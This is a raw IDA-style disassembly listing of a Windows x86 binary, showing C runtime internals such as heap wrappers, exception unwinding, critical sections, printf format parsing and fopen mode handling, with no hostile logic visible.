call sub_449571 pop ecx mov [ebp+var_1C], eax loc_44919B: ; CODE XREF: sub_449121+6Bj cmp [ebp+var_1C], 0 jnz short loc_4491AC call sub_449321 mov dword ptr [eax], 0Ch loc_4491AC: ; CODE XREF: sub_449121+7Ej mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_449121 ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_4491C1 proc near ; CODE XREF: sub_448891+7Bp ; sub_449D01+80p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 91h jz loc_449293 jg short loc_44921E cmp ebx, 50h jl short loc_4491E5 cmp ebx, 59h jg short loc_4491F6 jmp dword ptr aProtorecvDataS+3[ebx*4] ; --------------------------------------------------------------------------- loc_4491E5: ; CODE XREF: sub_4491C1+16j cmp ebx, 1 jl short loc_449263 cmp ebx, 43h jg short loc_449263 jmp off_40F8EC[ebx*4] ; --------------------------------------------------------------------------- loc_4491F6: ; CODE XREF: sub_4491C1+1Bj cmp ebx, 6Ch jl short loc_449263 cmp ebx, 72h jg short loc_449207 jmp dword ptr a02i02i02iIIIS+6[ebx*4] ; --------------------------------------------------------------------------- loc_449207: ; CODE XREF: sub_4491C1+3Dj cmp ebx, 80h jl short loc_449263 cmp ebx, 84h jg short loc_449263 jmp dword ptr aWinsock2_xInit+0Eh[ebx*4] ; --------------------------------------------------------------------------- loc_44921E: ; CODE XREF: sub_4491C1+11j cmp ebx, 0A4h jz short loc_4492A0 cmp ebx, 0A7h jz short loc_449293 jg short loc_449242 cmp ebx, 9Eh jz short loc_449293 cmp ebx, 0A1h jz short loc_449273 jmp short loc_449263 ; --------------------------------------------------------------------------- loc_449242: ; CODE XREF: sub_4491C1+6Dj cmp ebx, 0B7h jl short loc_449263 cmp ebx, 0D7h jg short loc_449259 jmp dword ptr aHandshakeBadPa[ebx*4] ; "Handshake: bad packed (%i)\n" ; --------------------------------------------------------------------------- loc_449259: ; CODE XREF: sub_4491C1+8Fj cmp ebx, 718h jz short loc_449283 jmp short $+2 loc_449263: ; CODE XREF: sub_4491C1+27j ; sub_4491C1+2Cj ... call sub_449321 mov dword ptr [eax], 16h jmp loc_449313 ; --------------------------------------------------------------------------- loc_449273: ; CODE XREF: sub_4491C1+7Dj call sub_449321 mov dword ptr [eax], 2 jmp loc_449313 ; --------------------------------------------------------------------------- loc_449283: ; CODE XREF: sub_4491C1+9Ej call sub_449321 mov dword ptr [eax], 0Ch jmp loc_449313 ; --------------------------------------------------------------------------- loc_449293: ; CODE XREF: sub_4491C1+Bj ; sub_4491C1+6Bj ... call sub_449321 mov dword ptr [eax], 0Dh jmp short loc_449313 ; --------------------------------------------------------------------------- loc_4492A0: ; CODE XREF: sub_4491C1+63j call sub_449321 mov dword ptr [eax], 0Bh jmp short loc_449313 ; --------------------------------------------------------------------------- call sub_449321 mov dword ptr [eax], 11h jmp short loc_449313 ; --------------------------------------------------------------------------- call sub_449321 mov dword ptr [eax], 9 jmp short loc_449313 ; --------------------------------------------------------------------------- call sub_449321 mov dword ptr [eax], 0Ah jmp short loc_449313 ; --------------------------------------------------------------------------- call sub_449321 mov dword ptr [eax], 8 jmp short loc_449313 ; --------------------------------------------------------------------------- call sub_449321 mov dword ptr [eax], 18h jmp short loc_449313 ; --------------------------------------------------------------------------- call sub_449321 mov dword ptr [eax], 1Ch jmp short loc_449313 ; --------------------------------------------------------------------------- call sub_449321 mov dword ptr [eax], 20h jmp short loc_449313 ; --------------------------------------------------------------------------- call sub_449321 mov dword ptr [eax], 12h loc_449313: ; CODE XREF: sub_4491C1+ADj ; sub_4491C1+BDj ... pop ebx retn sub_4491C1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449321 proc near ; CODE XREF: sub_447CF1+1Bp ; sub_449121+80p ... call sub_44A011 add eax, 8 retn sub_449321 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+0Ch] mov eax, [ebp+8] test dword ptr [eax+4], 6 jnz short loc_4493CE mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_449368: ; CODE XREF: DMN1:004493C5j cmp esi, 0FFFFFFFFh jz short loc_4493DE lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_4493BC push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] test eax, eax jz short loc_4493BC js short loc_4493C7 mov edi, [ebx+8] push ebx call sub_449411 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_449461 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_44950A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_4493BC: ; CODE XREF: DMN1:00449375j ; DMN1:00449387j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_449368 ; --------------------------------------------------------------------------- loc_4493C7: ; CODE XREF: DMN1:00449389j mov eax, 0 jmp short loc_4493E3 ; --------------------------------------------------------------------------- loc_4493CE: ; CODE XREF: DMN1:00449351j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_449461 add esp, 8 pop ebp loc_4493DE: ; CODE XREF: DMN1:0044936Bj mov eax, 1 loc_4493E3: ; CODE XREF: DMN1:004493CCj pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_449461 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- db 90h db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449411 proc near ; CODE XREF: DMN1:0044938Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_4084A8 push [ebp+arg_0] call sub_44E3A1 ; RtlUnwind pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_449411 endp ; --------------------------------------------------------------------------- mov ecx, [esp+4] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_449452 mov eax, [esp+8] mov edx, [esp+10h] mov [edx], eax mov eax, 3 locret_449452: ; CODE XREF: DMN1:00449441j retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449461 proc near ; CODE XREF: DMN1:0044939Cp ; DMN1:004493D5p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4084B0 push large dword ptr fs:0 mov large fs:0, esp loc_44947E: ; CODE XREF: sub_449461:loc_4494B9j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_4494BB cmp esi, [esp+1Ch+arg_4] jz short loc_4494BB lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_4494B9 push 101h mov eax, [ebx+esi*4+8] call sub_44950A call dword ptr [ebx+esi*4+8] loc_4494B9: ; CODE XREF: sub_449461+44j jmp short loc_44947E ; --------------------------------------------------------------------------- loc_4494BB: ; CODE XREF: sub_449461+2Aj ; sub_449461+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_449461 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4084B0 jnz short locret_4494F3 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_4494F3 mov eax, 1 locret_4494F3: ; CODE XREF: DMN1:004494E1j ; DMN1:004494ECj retn ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_411200 jmp short loc_449514 ; =============== S U B R O U T I N E ======================================= sub_44950A proc near ; CODE XREF: DMN1:004493ADp ; sub_449461+4Fp push ebx push ecx mov ebx, offset dword_411200 mov ecx, [ebp+8] loc_449514: ; CODE XREF: DMN1:00449508j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_44950A endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_449531 proc near ; CODE XREF: DMN1:00448A57p push 0 push 1000h push 0 call dword_411DB0 ; HeapCreate mov dword_4127F0, eax test eax, eax setnz al and eax, 1 retn sub_449531 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; --------------------------------------------------------------------------- mov eax, dword_4127F0 push eax call dword_411DB4 ; HeapDestroy mov dword_4127F0, 0 retn ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449571 proc near ; CODE XREF: sub_449121+71p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DB8 ; RtlAllocateHeap retn sub_449571 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DBC ; RtlReAllocateHeap pop ebp retn ; --------------------------------------------------------------------------- db 90h db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= sub_4495B1 proc near ; CODE XREF: sub_448071+41p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DC0 ; RtlFreeHeap retn sub_4495B1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push esi mov eax, [esp+0Ch] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DC4 ; RtlSizeHeap mov ebx, eax cmp eax, 0FFFFFFFFh jnz short loc_4495F3 xor esi, esi jmp short loc_4495F5 ; --------------------------------------------------------------------------- loc_4495F3: ; CODE XREF: DMN1:004495EDj mov esi, ebx loc_4495F5: ; CODE XREF: DMN1:004495F1j mov eax, esi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- mov eax, [esp+4] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DC8 ; HeapValidate test eax, eax setnz al and eax, 1 retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= sub_449621 proc near ; CODE XREF: sub_449F51+1p mov eax, off_411210 push eax call dword_411CC8 ; InitializeCriticalSection mov eax, off_411214 push eax call dword_411CC8 ; InitializeCriticalSection mov eax, off_411218 push eax call dword_411CC8 ; InitializeCriticalSection mov eax, off_41121C push eax call dword_411CC8 ; InitializeCriticalSection retn sub_449621 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_449661 proc near ; CODE XREF: DMN1:00449FB1p push ebx mov ebx, 4 loc_449667: ; CODE XREF: sub_449661+2Aj mov eax, off_411210[ebx*4] test eax, eax jz short loc_449687 push eax call dword_411DCC ; RtlDeleteCriticalSection mov eax, off_411210[ebx*4] push eax call sub_448071 pop ecx loc_449687: ; CODE XREF: sub_449661+Fj inc ebx cmp ebx, 9 jl short loc_449667 mov eax, off_411210 push eax call dword_411DCC ; RtlDeleteCriticalSection mov eax, off_411214 push eax call dword_411DCC ; RtlDeleteCriticalSection mov eax, off_411218 push eax call dword_411DCC ; RtlDeleteCriticalSection mov eax, off_41121C push eax call dword_411DCC ; RtlDeleteCriticalSection pop ebx retn sub_449661 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4496C1 proc near ; CODE XREF: sub_448071+4Bp ; sub_448281+28p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] cmp off_411210[ebx*4], 0 jnz short loc_449726 push 18h call sub_449121 pop ecx mov [ebp+var_4], eax test eax, eax jnz short loc_4496EC push 1 call sub_44A111 pop ecx loc_4496EC: ; CODE XREF: sub_4496C1+21j push 3 call sub_4496C1 pop ecx cmp off_411210[ebx*4], 0 jnz short loc_449714 mov eax, [ebp+var_4] push eax call dword_411CC8 ; InitializeCriticalSection mov eax, [ebp+var_4] mov off_411210[ebx*4], eax jmp short loc_44971E ; --------------------------------------------------------------------------- loc_449714: ; CODE XREF: sub_4496C1+3Bj mov eax, [ebp+var_4] push eax call sub_448071 pop ecx loc_44971E: ; CODE XREF: sub_4496C1+51j push 3 call sub_449741 pop ecx loc_449726: ; CODE XREF: sub_4496C1+12j mov eax, off_411210[ebx*4] push eax call dword_411CCC ; RtlEnterCriticalSection pop ebx mov esp, ebp pop ebp retn sub_4496C1 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449741 proc near ; CODE XREF: sub_4480DB+2p ; sub_4482DC+2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, off_411210[eax*4] push eax call dword_411CD0 ; RtlLeaveCriticalSection retn sub_449741 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449761 proc near ; CODE XREF: sub_448141+3Dp ; sub_4481E1+27p ... var_84 = byte ptr -84h var_50 = dword ptr -50h var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = word ptr -8 var_6 = byte ptr -6 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi mov ebx, [ebp+arg_8] mov [ebp+var_48], 0 mov [ebp+var_44], 0 mov eax, [ebp+arg_0] mov [ebp+var_38], eax mov eax, [ebp+arg_4] mov [ebp+var_34], eax mov [ebp+var_10], 0 loc_449791: ; CODE XREF: sub_449761+A4j ; sub_449761+264j mov [ebp+var_4A], 0 lea eax, [ebp+var_48] push eax push 7FFFFFFFh push ebx lea eax, [ebp+var_4A] push eax call sub_44A8D1 add esp, 10h mov esi, eax test eax, eax jg short loc_4497BE cmp byte ptr [ebx], 0 setnz al and eax, 1 mov esi, eax loc_4497BE: ; CODE XREF: sub_449761+50j cmp [ebp+var_4A], 25h jnz short loc_4497CD lea eax, [esi-1] mov [ebp+var_50], eax jmp short loc_4497D0 ; --------------------------------------------------------------------------- loc_4497CD: ; CODE XREF: sub_449761+62j mov [ebp+var_50], esi loc_4497D0: ; CODE XREF: sub_449761+6Aj mov eax, [ebp+var_50] mov edi, eax test eax, eax jle short loc_4497F7 push edi push ebx mov eax, [ebp+var_34] push eax call [ebp+var_38] add esp, 0Ch mov [ebp+var_34], eax test eax, eax jnz short loc_4497F4 or eax, 0FFFFFFFFh jmp loc_4499CE ; --------------------------------------------------------------------------- loc_4497F4: ; CODE XREF: sub_449761+89j add [ebp+var_10], edi loc_4497F7: ; CODE XREF: sub_449761+76j add ebx, esi cmp [ebp+var_4A], 25h jz short loc_44980F cmp [ebp+var_4A], 0 jnz short loc_449791 mov eax, [ebp+var_10] jmp loc_4499CE ; --------------------------------------------------------------------------- loc_44980F: ; CODE XREF: sub_449761+9Dj mov [ebp+var_18], 0 mov [ebp+var_1C], 0 mov [ebp+var_20], 0 mov [ebp+var_24], 0 mov [ebp+var_28], 0 mov [ebp+var_2C], 0 mov [ebp+var_8], 0 jmp short loc_44985A ; --------------------------------------------------------------------------- loc_449841: ; CODE XREF: sub_449761+10Ej movzx eax, [ebp+var_8] mov edx, offset dword_40FAB0 mov ecx, esi sub ecx, edx or eax, dword_40FAB8[ecx*4] mov [ebp+var_8], ax inc ebx loc_44985A: ; CODE XREF: sub_449761+DEj movzx eax, byte ptr [ebx] push eax push offset dword_40FAB0 call sub_449E01 add esp, 8 mov esi, eax test eax, eax jnz short loc_449841 cmp byte ptr [ebx], 2Ah jnz short loc_449899 mov eax, [ebp+arg_C] add eax, 4 mov [ebp+arg_C], eax mov eax, [eax-4] mov [ebp+var_C], eax test eax, eax jge short loc_449896 mov eax, [ebp+var_C] neg eax mov [ebp+var_C], eax or [ebp+var_8], 4 loc_449896: ; CODE XREF: sub_449761+126j inc ebx jmp short loc_4498CF ; --------------------------------------------------------------------------- loc_449899: ; CODE XREF: sub_449761+113j mov [ebp+var_C], 0 jmp short loc_4498BE ; --------------------------------------------------------------------------- loc_4498A2: ; CODE XREF: sub_449761+16Cj cmp [ebp+var_C], 7FFFFFFFh jge short loc_4498BD mov eax, [ebp+var_C] lea eax, [eax+eax*4] add eax, eax movzx edx, byte ptr [ebx] lea eax, [edx+eax-30h] mov [ebp+var_C], eax loc_4498BD: ; CODE XREF: sub_449761+148j inc ebx loc_4498BE: ; CODE XREF: sub_449761+13Fj movzx eax, byte ptr [ebx] mov edx, off_411898 test word ptr [edx+eax*2], 1 jnz short loc_4498A2 loc_4498CF: ; CODE XREF: sub_449761+136j cmp byte ptr [ebx], 2Eh jz short loc_4498DA or [ebp+var_14], 0FFFFFFFFh jmp short loc_44992A ; --------------------------------------------------------------------------- loc_4498DA: ; CODE XREF: sub_449761+171j inc ebx mov eax, ebx cmp byte ptr [eax], 2Ah jnz short loc_4498F4 mov eax, [ebp+arg_C] add eax, 4 mov [ebp+arg_C], eax mov eax, [eax-4] mov [ebp+var_14], eax inc ebx jmp short loc_44992A ; --------------------------------------------------------------------------- loc_4498F4: ; CODE XREF: sub_449761+17Fj mov [ebp+var_14], 0 jmp short loc_449919 ; --------------------------------------------------------------------------- loc_4498FD: ; CODE XREF: sub_449761+1C7j cmp [ebp+var_14], 7FFFFFFFh jge short loc_449918 mov eax, [ebp+var_14] lea eax, [eax+eax*4] add eax, eax movzx edx, byte ptr [ebx] lea eax, [edx+eax-30h] mov [ebp+var_14], eax loc_449918: ; CODE XREF: sub_449761+1A3j inc ebx loc_449919: ; CODE XREF: sub_449761+19Aj movzx eax, byte ptr [ebx] mov edx, off_411898 test word ptr [edx+eax*2], 1 jnz short loc_4498FD loc_44992A: ; CODE XREF: sub_449761+177j ; sub_449761+191j movzx eax, byte ptr [ebx] push eax push offset aHjltzl ; "hjltzL" call sub_449E01 add esp, 8 test eax, eax jz short loc_449947 mov eax, ebx inc ebx movzx edi, byte ptr [eax] jmp short loc_449949 ; --------------------------------------------------------------------------- loc_449947: ; CODE XREF: sub_449761+1DCj xor edi, edi loc_449949: ; CODE XREF: sub_449761+1E4j mov eax, edi mov [ebp+var_6], al cmp al, 68h jnz short loc_44995E cmp byte ptr [ebx], 68h jnz short loc_44995E mov [ebp+var_6], 62h inc ebx jmp short loc_44998E ; --------------------------------------------------------------------------- loc_44995E: ; CODE XREF: sub_449761+1EFj ; sub_449761+1F4j cmp [ebp+var_6], 6Ch jnz short loc_449970 cmp byte ptr [ebx], 6Ch jnz short loc_449970 mov [ebp+var_6], 71h inc ebx jmp short loc_44998E ; --------------------------------------------------------------------------- loc_449970: ; CODE XREF: sub_449761+201j ; sub_449761+206j cmp [ebp+var_6], 0 jnz short loc_44998E cmp byte ptr [ebx], 49h jnz short loc_44998E cmp byte ptr [ebx+1], 36h jnz short loc_44998E cmp byte ptr [ebx+2], 34h jnz short loc_44998E mov [ebp+var_6], 71h add ebx, 3 loc_44998E: ; CODE XREF: sub_449761+1FBj ; sub_449761+20Dj ... lea eax, [ebp+var_84] push eax mov eax, ebx inc ebx movzx eax, byte ptr [eax] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_44ABB1 add esp, 10h test eax, eax jnz short loc_4499CB lea eax, [ebp+var_84] push eax lea eax, [ebp+var_40] push eax call sub_44B2F1 add esp, 8 test eax, eax jge loc_449791 loc_4499CB: ; CODE XREF: sub_449761+24Dj or eax, 0FFFFFFFFh loc_4499CE: ; CODE XREF: sub_449761+8Ej ; sub_449761+A9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_449761 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4499E1 proc near ; CODE XREF: sub_4481E1+6p cmp dword_411234, 0 jz short loc_4499F0 mov eax, dword_411234 retn ; --------------------------------------------------------------------------- loc_4499F0: ; CODE XREF: sub_4499E1+7j push 0 push 0 push 3 push 0 push 3 push 0C0000000h push offset aConout ; "CONOUT$" call dword_411DD0 ; CreateFileA retn sub_4499E1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- cmp dword_411238, 0 jz short loc_449A20 mov eax, dword_411238 retn ; --------------------------------------------------------------------------- loc_449A20: ; CODE XREF: DMN1:00449A18j push 0 push 0 push 3 push 0 push 3 push 0C0000000h push offset aConin ; "CONIN$" call dword_411DD0 ; CreateFileA retn ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449A41 proc near ; CODE XREF: sub_448281+35p push ebx push esi xor esi, esi xor ebx, ebx loc_449A47: ; CODE XREF: sub_449A41+4Ej cmp off_411370[ebx*4], 0 jnz short loc_449A6D push 4Ch call sub_449121 pop ecx mov esi, eax test esi, esi jz short loc_449A91 mov off_411370[ebx*4], esi mov word ptr [esi], 80h jmp short loc_449A91 ; --------------------------------------------------------------------------- loc_449A6D: ; CODE XREF: sub_449A41+Ej mov eax, off_411370[ebx*4] cmp word ptr [eax], 0 jnz short loc_449A88 mov esi, off_411370[ebx*4] mov word ptr [esi], 0FF7Fh jmp short loc_449A91 ; --------------------------------------------------------------------------- loc_449A88: ; CODE XREF: sub_449A41+37j inc ebx cmp ebx, 100h jb short loc_449A47 loc_449A91: ; CODE XREF: sub_449A41+1Cj ; sub_449A41+2Aj ... mov eax, esi pop esi pop ebx retn sub_449A41 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449AA1 proc near ; CODE XREF: sub_448281+45p var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_8] test ebx, ebx jnz short loc_449AB8 xor eax, eax jmp loc_449BDC ; --------------------------------------------------------------------------- loc_449AB8: ; CODE XREF: sub_449AA1+Ej mov ax, [ebx] and ax, 80h mov [ebp+var_2], ax mov edi, ebx mov esi, offset dword_40FAE8 mov ecx, 13h rep movsd lea eax, [ebx+48h] mov [ebx+8], eax lea eax, [ebx+48h] mov [ebx+10h], eax lea eax, [ebx+48h] mov [ebx+14h], eax lea eax, [ebx+48h] mov [ebx+2Ch], eax lea eax, [ebx+48h] mov [ebx+18h], eax lea eax, [ebx+48h] mov [ebx+30h], eax lea eax, [ebx+48h] mov [ebx+1Ch], eax lea eax, [ebx+28h] mov [ebx+20h], eax mov eax, [ebp+arg_4] cmp byte ptr [eax], 72h jnz short loc_449B12 mov [ebp+var_8], 1 jmp short loc_449B39 ; --------------------------------------------------------------------------- loc_449B12: ; CODE XREF: sub_449AA1+66j mov eax, [ebp+arg_4] cmp byte ptr [eax], 77h jnz short loc_449B23 mov [ebp+var_8], 1Ah jmp short loc_449B36 ; --------------------------------------------------------------------------- loc_449B23: ; CODE XREF: sub_449AA1+77j mov eax, [ebp+arg_4] cmp byte ptr [eax], 61h setnz al and eax, 1 dec eax and eax, 16h mov [ebp+var_8], eax loc_449B36: ; CODE XREF: sub_449AA1+80j mov eax, [ebp+var_8] loc_449B39: ; CODE XREF: sub_449AA1+6Fj movzx eax, [ebp+var_2] or eax, [ebp+var_8] mov [ebx], ax test word ptr [ebx], 3 jnz short loc_449B7C push ebx call sub_4484E1 pop ecx xor eax, eax jmp loc_449BDC ; --------------------------------------------------------------------------- loc_449B58: ; CODE XREF: sub_449AA1+E5j ; sub_449AA1+EDj mov eax, [ebp+arg_4] cmp byte ptr [eax], 62h jnz short loc_449B6D test word ptr [ebx], 20h jnz short loc_449B90 or word ptr [ebx], 20h jmp short loc_449B7C ; --------------------------------------------------------------------------- loc_449B6D: ; CODE XREF: sub_449AA1+BDj movzx eax, word ptr [ebx] and eax, 3 cmp eax, 3 jz short loc_449B90 or word ptr [ebx], 3 loc_449B7C: ; CODE XREF: sub_449AA1+A7j ; sub_449AA1+CAj mov eax, [ebp+arg_4] inc eax mov [ebp+arg_4], eax cmp byte ptr [eax], 62h jz short loc_449B58 mov eax, [ebp+arg_4] cmp byte ptr [eax], 2Bh jz short loc_449B58 loc_449B90: ; CODE XREF: sub_449AA1+C4j ; sub_449AA1+D5j cmp [ebp+arg_0], 0 jz short loc_449BBE mov eax, [ebp+arg_4] push eax movzx eax, word ptr [ebx] push eax mov eax, [ebp+arg_0] push eax call sub_44B561 add esp, 0Ch mov [ebx+4], eax cmp dword ptr [ebx+4], 0 jge short loc_449BD5 push ebx call sub_4484E1 pop ecx xor eax, eax jmp short loc_449BDC ; --------------------------------------------------------------------------- loc_449BBE: ; CODE XREF: sub_449AA1+F3j cmp [ebp+arg_C], 0 jge short loc_449BCF push ebx call sub_4484E1 pop ecx xor eax, eax jmp short loc_449BDC ; --------------------------------------------------------------------------- loc_449BCF: ; CODE XREF: sub_449AA1+121j mov eax, [ebp+arg_C] mov [ebx+4], eax loc_449BD5: ; CODE XREF: sub_449AA1+110j call sub_448381 mov eax, ebx loc_449BDC: ; CODE XREF: sub_449AA1+12j ; sub_449AA1+B2j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_449AA1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449BF1 proc near ; CODE XREF: sub_448381+4Dp arg_0 = dword ptr 4 mov eax, dword_4111A4 cmp dword_4111A0, eax ja short loc_449C05 call sub_44B5D1 jmp short locret_449C1E ; --------------------------------------------------------------------------- loc_449C05: ; CODE XREF: sub_449BF1+Bj mov eax, dword_4111A4 lea edx, [eax+1] mov dword_4111A4, edx mov edx, [esp+arg_0] mov dword_411060[eax*4], edx locret_449C1E: ; CODE XREF: sub_449BF1+12j retn sub_449BF1 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449C21 proc near ; CODE XREF: sub_448401+8p ; sub_4486E1+D0p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] test ebx, ebx jnz short loc_449C7F push 6 call sub_4496C1 pop ecx mov [ebp+var_8], 0 mov [ebp+var_4], 0 jmp short loc_449C69 ; --------------------------------------------------------------------------- loc_449C49: ; CODE XREF: sub_449C21+4Fj mov eax, [ebp+var_4] mov eax, off_411370[eax*4] test eax, eax jz short loc_449C66 push eax call sub_449C21 pop ecx test eax, eax jge short loc_449C66 or [ebp+var_8], 0FFFFFFFFh loc_449C66: ; CODE XREF: sub_449C21+34j ; sub_449C21+3Fj inc [ebp+var_4] loc_449C69: ; CODE XREF: sub_449C21+26j cmp [ebp+var_4], 100h jl short loc_449C49 push 6 call sub_449741 pop ecx mov eax, [ebp+var_8] jmp short loc_449CF1 ; --------------------------------------------------------------------------- loc_449C7F: ; CODE XREF: sub_449C21+Ej test word ptr [ebx], 2000h jnz short loc_449C8A xor eax, eax jmp short loc_449CF1 ; --------------------------------------------------------------------------- loc_449C8A: ; CODE XREF: sub_449C21+63j mov esi, [ebx+8] jmp short loc_449CC6 ; --------------------------------------------------------------------------- loc_449C8F: ; CODE XREF: sub_449C21+A8j mov eax, [ebx+10h] sub eax, esi push eax push esi mov eax, [ebx+4] push eax call sub_44B7E1 add esp, 0Ch mov edi, eax test edi, edi jg short loc_449CC4 